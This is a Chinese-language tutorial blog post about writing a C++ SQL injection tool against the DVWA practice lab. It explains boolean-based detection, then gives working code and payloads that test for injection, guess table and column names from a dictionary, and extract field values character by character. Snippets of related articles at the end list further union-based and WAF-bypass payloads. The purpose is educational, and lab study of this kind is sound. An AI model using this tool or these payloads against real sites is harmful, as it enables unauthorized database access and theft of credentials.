<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    網絡安全編程:開發SQL注入工具

    Andrew2021-07-14 08:16:28

    SQL注入的產生是由于程序沒有對外部的輸入進行過濾,從而導致被精心構造的外來數據被注入到SQL語句中被執行而產生的黑客攻擊。本文針對DVWA編寫一個簡單的用于輔助SQL注入的工具,在編寫工具的同時可以從原理和本質上來了解SQL注入的形成。除了DVWA以外,還有許許多多不同的Web安全練習平臺,無論是哪種Web安全練習平臺都少不了最基礎的練習。


    在拿到一個網站要進行注入時,需要檢測確認該網站是否存在已知的SQL注入的漏洞,那么就需要有進行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常見有字符型注入、數值型注入和搜索型注入。雖然注入被分為了3類,但是它們的檢測思路是相通的,下面舉例介紹一下。


    在登錄某個Web系統時,首先會要求輸入自己的用戶名和密碼,然后提交給Web服務器,Web服務器接收請求后轉交給Web腳本去處理請求,接著Web腳本會用得到的用戶名和密碼去數據庫中匹配是否存在該用戶名,且該用戶名的密碼是否正確。在數據庫中進行查詢的語言就叫作SQL,即結構化查詢語言。對于進行用戶名和密碼匹配的SQL腳本大體如下所示:


    Select * from user where username='admin' and password='123456'
    

    在上面的SQL語句中,就是要在user表中去匹配是否存在用戶名為admin和密碼為123456的記錄。注意,這里的admin和123456都是用引號引住的,說明這兩個值是字符型。


    平時在瀏覽網頁時,可能會看到如下的連接:


    http://localhost/article.php?id=1
    

    在這個URL中,article.php是請求的頁面,id=1是提交給article.php的參數。而這個參數有可能是數值型,也有可能是字符型,用該id在數據庫中查詢可能是以下兩種情況。


    Select * from article where id = 1
    

    上面的是數值型,對于字符型是如下的查詢語句:


    Select * from article where id = '1'
    

    最后再說一下搜索型,搜索型一般是用在搜索欄的位置上,用于輸入某個關鍵字然后在數據庫中對該關鍵字進行匹配,比如要搜索所有以“微信公眾號:計算機與網絡安全”為標題的文章,可能的查詢語句如下:


    Select * from article where title like '%微信公眾號:計算機與網絡安全%'
    

    在做搜索型查詢時,在輸入的關鍵字的兩邊有“%”,它用于匹配任何字符,而且查詢時不再使用“=”,而是使用“like”關鍵字。


    這就是3種不同的查詢方式,而在實際寫SQL的時候很少有人描述字符型查詢、數值型查詢的,因為編寫SQL的人知道查詢的值是什么類型,如果是數值就直接寫,如果是字符則在字符的兩側加單引號。但是對于在進行注入檢測時,是哪種類型就需要靠猜測了。


    接著介紹Web腳本是如何讓SQL去數據庫中進行查詢的,以下面這個URL進行說明。


    http://localhost/article.php?id=1
    

    如果這里的id是字符型,那么在Web腳本語言中可能是如下代碼(以PHP語言說明)。


    $id = $_GET['id'];$sql = "select * from article where id = '" . $id . "'";Mysql_query($sql);
    

    首先獲得id,接著將id進行拼接,注意在id前后都有一個單引號,拼接好以后就和前面介紹的語句一樣了。如果是數值型的話,PHP語言的代碼如下:


    $id = $_GET['id'];$sql = "select * from article where id = " . $id;Mysql_query($sql);
    

    注意看,在拼接查詢語句時是沒有單引號的。


    基礎部分已經差不多了,那么來說說檢測是否存在SQL注入的方法,仍然使用上面的URL來介紹,如何判斷article.php?id=1這個URL是否存在注入呢?如果是數值型查詢,那么只要在id=1后面跟一個and 1=1就可以了,URL如下:


    http://localhost/article.php?id=1 and 1=1
    

    如果是字符型查詢,那么只要在id=1后面跟一個’ and ‘1’=’1就可以了,URL如下:


    http://localhost/article.php?id=1' and '1'='1
    

    為什么要加個and呢,and后面為什么是1=1呢?因為and是邏輯與關系,and前面的表達式為真,且and后面的表達式也為真時,and表達式為真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在數據庫中仍然會把正確的數據進行返回,也就是說id=1和id=1 and 1=1返回的內容應該是一樣的。字符型中的單引號是用來在進行SQL字符串拼接時使用的,大家可以自行查看字符型的查詢代碼前面的SQL語句。


    但是只通過and 1=1是無法說明問題的,還需要另外一個and表達式來進行測試,URL如下:


    http://localhost/article.php?id=1 and 1=2
    

    判斷完and 1=1以后,就需要判斷and 1=1,因為1=2是假,因此id=1 and 1=2的and表達式肯定為假,當為假的時候則無法返回正確的內容,也就是說id=1 and 1=2是無法返回與id=1相同的結果的。


    因此,在進行SQL注入檢測的時候,需要根據不同的類型來構造不同的檢測判斷,當and 1=1返回的內容與原內容相同,且and 1=2返回的內容與原內容不同時,基本就可以判定是存在SQL注入的了。


    在DVWA中對上面的原理進行演示,將DWVA的安全級別設置為“Low”,然后進入“SQL Injection”模塊,在界面中輸入1,并進行提交,返回的頁面被稱為A頁面,如圖1所示。

    圖1 輸入User ID為1的輸出


    再輸入1' and '1'='1,這里是字符型的注入,是筆記已經測試過的,DVWA返回結果如圖2所示,該頁面被稱為B頁面。

    圖2 輸入User ID為1' and '1'='1的輸出


    再輸入1' and '1'='2,DVWA返回結果什么都沒有,這個什么都沒有返回的頁面是C頁面。判斷是否存在注入的判定條件是,A頁面的內容和B頁面的內容相同,而B頁面的內容和A頁面的內容不相同。但是從返回頁面來看A頁面和B頁面也有少許差異,但是差異并不在查詢后的返回的內容上,而是將輸入的內容顯示到頁面上以后又導致有了差異,那么A頁面和B頁面不完全相同了,如何進行判定呢?既然只是部分不相同了,那么還是不影響判定的,可以匹配頁面的相似度,也可以去匹配頁面上的特征碼。匹配相似度可能稍微麻煩,但是匹配特征碼就相對簡單了,只要能查詢出結果,就會在頁面上返回“First name”和“Surname”,那么就用頁面上的“First name”來作為特征碼,判定條件就變了,在A頁面上有“First name”,B頁面上也有“First name”,且C頁面上沒有“Firstname”那么就判定該頁面存在SQL注入。


    在“SQL Injection”模塊中提交了數據以后,URL的地址如下:


    http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 
    

    地址欄的數據是?id=1&Submit=Submit這樣的,經過測試,如果地址欄沒有Submit=Submit則提交后會有問題,但是它的存在不利于測試,那么修改該URL地址如下:


    http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 
    

    通過這樣既保留了Submit=Submit,又可以利用id=1進行注入測試了。


    有了上面的思路以后,就來看一下接下來要編寫的程序,如圖3所示。

    圖3 SQL注入檢測程序


    在圖中先將需要檢測的URL地址填入,然后填入特征碼,選擇好注入的類型,然后單擊“測試”,就會看到測試的情況。下面來看單擊“測試”按鈕后的代碼,代碼如下:


    void CSQLInjectToolsDlg::OnBnClickedButton1(){  // TODO: 在此添加控件通知處理程序代碼  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  DWORD dwServiceType; // 服務類型  CString strServer; // 服務器地址  CString strObject; // URL 指向的對象  INTERNET_PORT nPort; // 端口號  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  CheckInject(strServer, strObject, nPort);}
    

    獲得需要測試的注入地址,以及獲得特征碼,然后在CheckInject函數中進行檢測,CheckInject函數代碼如下:


    void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_PORT nPort){  CString strUrl;  strUrl = "http://" + strServer + strObject;  switch ( m_nSel )  {    case 1:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試字符型");      if ( Check(strServer, strObject, pCharText[0], pCharText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    case 2:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試數值型");      if ( Check(strServer, strObject, pNumText[0], pNumText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    case 3:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試搜索型");      if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    default:    {      AfxMessageBox("請選擇測試類型!!");      break;    }  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl);  // closesocket(m_sock);}
    

    在代碼中,switch用來判斷選擇的是哪種注入的測試類型,然后具體的判斷實現在Check函數中,Check函數的代碼如下:


    BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11,CString str12){  BOOL bRet = FALSE;  char szSendPacket[1024] = { 0 };  char szRecvPacket[0x2048] = { 0 };  CString strUrl;  m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  sockaddr_in ServerAddr = { 0 };  ServerAddr.sin_family = AF_INET;  ServerAddr.sin_port = htons(80);  ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);  connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));  // 測試真  strUrl = strObject + str11;  HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));  send(m_sock, szSendPacket, strlen(szSendPacket), 0);  recv(m_sock, szRecvPacket, 0x2048, 0);  CString strPacket_11 = szRecvPacket;  closesocket(m_sock);  m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));  // 測試假  strUrl = strObject + str12;  ZeroMemory(szSendPacket, 1024);  ZeroMemory(szRecvPacket, 0x2048);  HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));  send(m_sock, szSendPacket, strlen(szSendPacket), 0);  recv(m_sock, szRecvPacket, 0x2048, 0);  CString strPacket_12 = szRecvPacket;  closesocket(m_sock);  if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 )  {    bRet = TRUE;  }  return bRet;}
    

    首先連接Web服務器,對服務器發送數據包,然后接收服務器返回的數據包,發送的包是對Web服務器的GET請求,而接收的數據包就是Web服務器返回的網頁的內容。第一次發送的是永真的1=1,第二次發送永假的1=2,然后分別在兩個包中查找特征碼即可。發送的數據包的函數是HttpGet函數,該函數的定義如下:


    void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost){  wsprintf(strGetPacket, "GET %s HTTP/1.1\r" "Host: %s\r" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;q=0.8\r" "Upgrade-Insecure-Requests: 1\r" "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r" "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r" "Accept-Encoding: gzip, deflate, sdch\r" "Accept-Language: zh-CN,zh;q=0.8\r" "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30; Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033, 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r" "Connection: close\r\r", strUrl, strHost);}
    

    發送的數據包是從Burp中攔截到的數據包,修改包請求的URL和請求主機即可。最后給出代碼中對3種注入檢測的定義,定義如下:


    // 字符型char *pCharText[] ={ "%27+and+%271%27=%271", "%27+and+%271%27=%272"};// 數值型char *pNumText[] ={ " and 1=1", " and 1=2"};// 搜索型char *pSearchText[] ={ "%25%27+and+1=1+and+%27%25%27=%27%25", "%25%27+and+1=2+and+%27%25%27=%27%25"};
    

    在請求的URL中,空格使用“+”代替,%27表示單引號,%25表示%。在URL中有很多字符出現以后是需要經過編碼的,不過好在這里只是使用ASCII碼進行了表示,大家在寫的時候需要注意。


    上面是關于檢測的部分,下面來介紹關于利用的部分。利用的部分也類似檢測部分的原理,下面介紹如何猜解數據庫中的表名。判斷數據庫中有哪些表,這個也需要用到字典。這個字典可以自己收集,同樣也可以在現有的軟件中找一些字典來自己使用。


    猜解數據庫中的表名,同樣也是用到SQL語句,還是以DVWA安全級別為“Low”的“SQL Injection”模塊來演示,如圖4所示。

    圖4 SQL注入對表名的猜解


    Exists在SQL中用來檢測括號中的查詢語句是否返回結果集,上面的查詢語句exists(select * from users)中,exists要判斷select * from users是否返回了結果集,返回了就為真,沒返回就為假,至于返回什么結果集并不重要。由此可以看出exists返回的是一個邏輯值,因此在判斷表名是否存在時就是這么判斷的。上面構造的查詢語句如下:


    Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and'1'='1'
    

    在exists括號中的users就是要猜解的表名,當表名存在的時候就會有結果集返回,那么exists為真,整個and表達式成立,則頁面會返回與正常頁面相同的頁面,或者返回帶有特征碼的頁面。猜解表單的代碼如下:


    void CSQLInjectToolsDlg::OnBnClickedButton2(){  // TODO: 在此添加控件通知處理程序代碼  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  DWORD dwServiceType; // 服務類型  CString strServer; // 服務器地址  CString strObject; // URL 指向的對象  INTERNET_PORT nPort; // 端口號  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  int nTable = sizeof(tables) / MAXBYTE;  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜表名");  for ( int i = 0; i < nTable; i++ )  {    CString strUrl_1;    // and (select count(*) from user) > 0    strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",      strObject, tables[i]);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    CString tab = tables[i];    if ( strPacket.Find(m_strSign) != -1 )    {      tab = tab + "[存在該表]";    }    m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab);    closesocket(m_sock);  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜表名");}
    

    上面的關鍵在該句代碼:


    strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",strObject, tables[i]);
    

    該代碼用來拼接請求的URL,其中%28和%29是分別代表了“(”和“)”,這兩個字符也不能出現在URL中,因此使用ASCII碼替換。然后在其中不斷地用tables數組中保存的表字典來猜測,表字典的定義如下:


    // 猜表名char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
    

    程序運行后的效果如圖5所示。

    圖5 SQL注入猜解表名


    猜解完表名接下來就要猜解表中的列名,猜解列名如圖6所示。

    圖6 SQL注入猜解列名


    猜解列名的原理依然類似,代碼如下所示:


    char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"};void CSQLInjectToolsDlg::OnBnClickedButton3(){  // TODO: 在此添加控件通知處理程序代碼  CString strTable;  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名  DWORD dwServiceType; // 服務類型  CString strServer; // 服務器地址  CString strObject; // URL 指向的對象  INTERNET_PORT nPort; // 端口號  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  int nColumns = sizeof(columns) / MAXBYTE;  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列名");  for ( int i = 0; i < nColumns; i++ )  {    CString strUrl_1;    // and (select count(id) from user) > 0    strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+      %%271%%27=%%271", strObject, columns[i], strTable);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    CString col = columns[i];    if ( strPacket.Find(m_strSign) != -1 )    {      col = col + "[存在該列]";    }    m_ScanList.InsertItem(m_ScanList.GetItemCount(), col);    closesocket(m_sock);  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列名");}
    

    猜解列名的關鍵語句如下所示:


    1' and (select count(password) from users)>0 and '1'='1
    

    猜解列名時,不斷地替換count函數括號內的字段名,當該字段存在值時會返回一個大于0的值,使得and表達式成立,于是返回帶有特征碼的頁面。


    一般情況下,猜解完列名,就該猜解列里面的值了,這里給出關鍵的構造SQL的語句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的長度,計算長度的SQL語句如下:


    1' and (select length(user) from users limit 0,1)=5 and '1'='1
    

    首先length函數是用來計算長度的函數,這里length(user)是用來計算user字段中值的長度,user列中可能不會只有一個值,而是會有多個值,但是判斷時只需要取一條記錄,因此取了第一條記錄,使用的語句是limit 0,1,也就是從第0條記錄開始取1條。取出來的記錄如果為5則返回真,如果不是5則返回假。


    因此,構造該語句時大體如下:


    strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);
    

    其中n表示第幾條記錄,len表示猜解的長度,因為長度不固定因此長度使用循環變量逐個嘗試即可。比如,猜解的第0條用戶名是admin,那么長度就為5,有了長度之后再使用如下的語句猜解每一位的值,猜解admin的過程如下:


    // 字段值1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='11' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='11' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='11' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='11' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
    

    上面的97表示a,100表示d,該處使用數字、大小寫字母進行替換測試即可,當測試條件成功后,測試下一個值,這時就使用到了mid函數,mid函數是用來取值字符串的子串的,因此猜解值時需要雙重循環來進行猜解。


    下來完成判斷列值長度的功能,如圖7所示。

    圖7 SQL注入猜解列值長度


    在圖7中猜解的是users表中第0條記錄的user字段(字段就是列),猜解到的長度為5。下面看代碼:


    void CSQLInjectToolsDlg::OnBnClickedButton4(){  // TODO: 在此添加控件通知處理程序代碼  CString strTable;  CString strField;  CString strUrl;  CString strNum;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名  GetDlgItemText(IDC_EDIT4, strField); // 列名  GetDlgItemText(IDC_EDIT5, strNum); // 猜解第幾行  DWORD dwServiceType; // 服務類型  CString strServer; // 服務器地址  CString strObject; // URL 指向的對象  INTERNET_PORT nPort; // 端口號  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列值長度");  // 求長度  int nLen = 1;  while ( nLen <= 64 )  {    CString strUrl_1;    // and (select length(username) from user limit 1) = 5    strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2      C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    if ( strPacket.Find(m_strSign) != -1 )    {      closesocket(m_sock);      break;    }    closesocket(m_sock);    nLen ++;  }  CString num;  num.Format("%d", nLen);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), num);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列值長度");}
    

    最后再來看一下猜解列的值,如圖8所示。

    圖8 SQL注入字段值的猜解


    在圖8中,需要手動輸入猜解到的表名、列名和長度,當猜解第0行記錄的user列的長度后,一定是猜解第0行記錄的user列的值。代碼如下:


    void CSQLInjectToolsDlg::OnBnClickedButton5(){  // 在此添加控件通知處理程序代碼  CString strTable;  CString strField;  CString strUrl;  CString strNum;  int nLen;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名  GetDlgItemText(IDC_EDIT4, strField); // 列名  GetDlgItemText(IDC_EDIT5, strNum); // 猜解第幾行  nLen = GetDlgItemInt(IDC_EDIT6);  DWORD dwServiceType; // 服務類型  CString strServer; // 服務器地址  CString strObject; // URL 指向的對象  INTERNET_PORT nPort; // 端口號  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列值");  CString strValue;  int i = 1;  CString username;  // 長度用于猜解每一位  while ( i <= nLen )  {    // 這里猜解只猜解小寫的字母    // 這里在實際的時候需要改成各種可能的字符    for ( int c = 97; c < 122; c ++ )    {      CString strUrl_1;      // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97      strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+        from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271",        strObject, strField, i, strTable, strNum, c);      m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);      sockaddr_in ServerAddr = { 0 };      ServerAddr.sin_family = AF_INET;      ServerAddr.sin_port = htons(80);      ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);      connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));      char szSendPacket[1024] = { 0 };      char szRecvPacket[0x2048] = { 0 };      HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));      send(m_sock, szSendPacket, strlen(szSendPacket), 0);      recv(m_sock, szRecvPacket, 0x2048, 0);      CString strPacket;      strPacket = szRecvPacket;      if ( strPacket.Find(m_strSign) != -1 )      {        // 拼接猜解的每一位用戶名        username.Format("%s%c", username, c);        closesocket(m_sock);        break;      }      closesocket(m_sock);    }    i ++;  }  username = username + "[猜解結果]";  m_ScanList.InsertItem(m_ScanList.GetItemCount(), username);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列值");} 
    

    到這里整個的關于DVWA系統中針對安全級別為“Low”的“SQL Injection”模塊的測試和利用代碼就完成了。從整個代碼中可以看出,對于基本的掌握SQL的使用是不復雜的,沒有接觸過的朋友通過少量的時間即可學會。對Web安全感興趣的朋友,可以跟著DVWA系統進行練習,因為DVWA系統已經基本涉及了Web安全領域入門所需要掌握的常見漏洞,如果大家能夠在學習DVWA的過程中將PHP語言學會(DVWA就是PHP+MySQL寫的),通過閱讀DVWA各個安全級別的代碼,不但可以掌握各種漏洞的形成,還能夠學習到如何編寫安全的Web代碼,從而在源頭上盡可能地杜絕漏洞的產生。

    sql注入dvwa
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Brute Force 是暴力破解的意思,是指黑客利用窮舉工具并配合合理的密碼字典,來猜解用戶的密碼。這里主要介紹Burp Suite工具,與DVWA的Brute Force模塊。在DVWA中打開Brute Force模塊,如圖1所示。
    漏洞及滲透練習平臺 數據庫注入練習平臺 花式掃描器 信息搜集工具 WEB工具 windows域滲透工具 漏洞利用及攻擊框架 漏洞POC&EXP 中間人攻擊及釣魚 密碼pj 二進制及代碼分析工具 EXP編寫框架及工具 隱寫相關工具 各類安全資料 各類CTF資源 各類編程資源 Python
    隨著互聯網的迅速發展,網絡安全問題日益嚴峻。黑客攻擊和網絡漏洞成為讓人頭痛的問題。為了保護自己的網絡安全,安全專家不僅需要了解網絡安全原理,還需要熟悉網絡滲透工具的使用。Python作為一種簡單易學且功能強大的編程語言,被廣泛應用于網絡安全領域。本文將推薦python滲透工具。
    針對DVWA編寫一個用于輔助SQL注入的工具
    我們都知道,學安全,懂SQL注入是重中之重,因為即使是現在SQL注入漏洞依然存在,只是相對于之前現在挖SQL注入變的困難了。而且知識點比較多,所以在這里總結一下。通過構造有缺陷的代碼,來理解常見的幾種SQL注入。本文只是講解幾種注入原理,沒有詳細的利用過程。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    Bypass安全狗MySQL注入
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    對于攻擊者而言,只需要在POST BODY前面添加許多無用的數據,把攻擊的payload放在最后即可繞過WAF檢測。實驗步驟首先使用BurpSuite抓取數據包,并記下數據包的Header信息編寫好我們的Python腳本進行FUZZ:#!
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类